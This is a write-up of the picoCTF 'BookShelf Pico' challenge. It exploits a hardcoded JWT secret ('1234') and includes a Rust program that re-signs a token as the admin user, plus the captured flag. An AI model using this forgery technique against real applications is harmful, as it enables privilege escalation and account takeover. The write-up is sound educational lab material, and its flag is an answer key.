To get started we are given the username “user” and password “user” to log into the BookShelf Pico web application. We are also given the source code of the application.
Taking a look at the src/main/java/io/github/nandandesai/pico/security
subdirectory of the project, we see that it uses JWT.
Interestingly, the file SecretGenerator.java
in the aforementioned directory contains a weak hardcoded “random” value 😱.
@Service
class SecretGenerator {
private Logger logger = LoggerFactory.getLogger(SecretGenerator.class);
private static final String SERVER_SECRET_FILENAME = "server_secret.txt";
@Autowired
private UserDataPaths userDataPaths;
private String generateRandomString(int len) {
// not so random
return "1234";
}
String getServerSecret() {
try {
String secret = new String(FileOperation.readFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME), Charset.defaultCharset());
logger.info("Server secret successfully read from the filesystem. Using the same for this runtime.");
return secret;
}catch (IOException e){
logger.info(SERVER_SECRET_FILENAME+" file doesn't exists or something went wrong in reading that file. Generating a new secret for the server.");
String newSecret = generateRandomString(32);
try {
FileOperation.writeFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME, newSecret.getBytes());
} catch (IOException ex) {
ex.printStackTrace();
}
logger.info("Newly generated secret is now written to the filesystem for persistence.");
return newSecret;
}
}
}
This string “1234” is used as the secret for the JSON web token.
After logging into the webapp, we notice the following key value pair in our local storage (press Shift
F9
).
Key | Value |
---|---|
auth-token | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY3OTY2OTgxOCwiaWF0IjoxNjc5MDY1MDE4LCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.7j5YSQOQMGw3NZ9ZVZG99UI0liH8vE7Jy4z2UWTMObk |
token-payload | {"role":"Free","iss":"bookshelf","exp":1679669818,"iat":1679065018,"userId":1,"email":"user"} |
Let’s write a quick program in Rust to tamper with the token.
Run the following to setup dependencies.
cargo new bookshelf
cd bookshelf
cargo add serde_json, frank_jwt, anyhow
Next, add the following to src/main.rs
.
use anyhow::Result;
use frank_jwt::{decode, encode, Algorithm, ValidationOptions};
use serde_json::value::Value;
fn main() -> Result<()> {
let signing_key = "1234";
let encoded_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY3OTY2OTgxOCwiaWF0IjoxNjc5MDY1MDE4LCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.7j5YSQOQMGw3NZ9ZVZG99UI0liH8vE7Jy4z2UWTMObk";
let algorithm = Algorithm::HS256;
let validation = ValidationOptions::default();
let (header, mut payload) = decode(
encoded_token,
&signing_key,
algorithm,
&validation
)?;
// tampering the payload
payload["role"] = Value::String("Admin".into());
let token = encode(header, &signing_key, &payload, algorithm)?;
println!("{}", payload);
println!("{}", token);
Ok(())
}
Here, we have decoded the token, modified the role
to Admin
and re-encoded the token using the signing key.
To run the program, issue the command
cargo run
Now in our browser, we set the token-payload
and auth-token
to each line of the output respectively.
If we reload the page, we see that although we have the admin role, we cannot read the flag book. At the admin dashboard at /#/admindash
, we can see the requests to /base/users
in the network tab (press Ctrl
Shift
E
). From here we can see that admin has the associated userId
of 2
and email
of admin
.
{
"type": "SUCCESS",
"payload": [
{
"id": 1,
"email": "user",
"fullName": "User",
"lastLogin": "2023-03-17T14:56:58.339637063",
"role": "Free"
},
{
"id": 2,
"email": "admin",
"fullName": "Admin",
"lastLogin": "2023-03-17T14:51:39.063583433",
"role": "Admin"
}
]
}
In our program, we will further modify the userId
to 2
and email to admin
under the tampering section.
payload["email"] = Value::String("admin".into());
payload["userId"] = Value::Number(2.into());
Rerun the program with
cargo run
and set the token-payload
and auth-token
in our browser to the new payload and encoded token from the program’s output respectively.
Now we can go to the main page and click on the flag book. There, we get the following flag.
picoCTF{w34k_jwt_n0t_g00d_6e5d7df5}